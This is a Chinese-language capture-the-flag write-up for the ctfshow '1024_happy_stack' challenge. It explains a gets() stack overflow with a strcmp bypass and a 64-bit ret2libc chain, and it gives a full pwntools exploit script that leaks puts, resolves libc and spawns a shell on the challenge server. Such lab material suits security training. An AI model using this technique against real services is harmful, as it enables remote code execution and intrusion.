1024_happy_stack 64位 开了NX strcmp函数绕过和ret2libc
gets(s); //溢出点
if ( (unsigned int)ctfshow(s) )
__int64 __fastcall ctfshow(const char *a1) //if判断
return (unsigned int)strcmp(a1, "36D"); //比较s和36D是否相同,满足条件时,向下执行
puts(s); //输出输入值
思路:
无 system,无 "/bin/sh",所以是64位的ret2libc和strcmp函数绕过
1.通过查看ida获取偏移量,但这里为了绕过strcmp函数,需要一个'36D\x00',所以偏移量是0x380+0x8-0x4=0x384
2.64位需要ret维持堆栈平衡,同时选用puts函数只有一个参数,所以要rdi寄存器,获取ret和rdi的地址
3.构造第一个ROP链,在接受到指定位置后发送
4.然后接收到最后得到puts真实地址
5.根据puts函数得到libc的真实地址,最后根据libc地址获取system和bin_sh地址
6.构造第二条ROP链,在接受到指定位置后发送发送进行连接
连接:
EXP:
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = remote("pwn.challenge.ctf.show", 28250)
# io = process('/home/motaly/桌面/happy')
elf=ELF('/home/motaly/桌面/happy')
puts_got = elf.got['puts']
puts_plt = elf.symbols['puts']
main_addr = elf.symbols['main']
rdi_addr = 0x400803
ret = 0x40028a
payload = b'36D\x00'+b'a'*0x384+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil(b"qunzhu\n\n") //这里两个换行,因为输入就是在4.I only love qunzhu这句话的下面两行
io.sendline(payload)
io.recvuntil(b"36D\n")
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success("puts_addr:"+hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
print('libc_base-->'+hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload2 = b'36D\x00'+b'a'*0x384+p64(ret)+p64(rdi_addr)+p64(bin_sh)+p64(system)
io.recvuntil(b"qunzhu\n\n")
io.sendline(payload2)
io.interactive()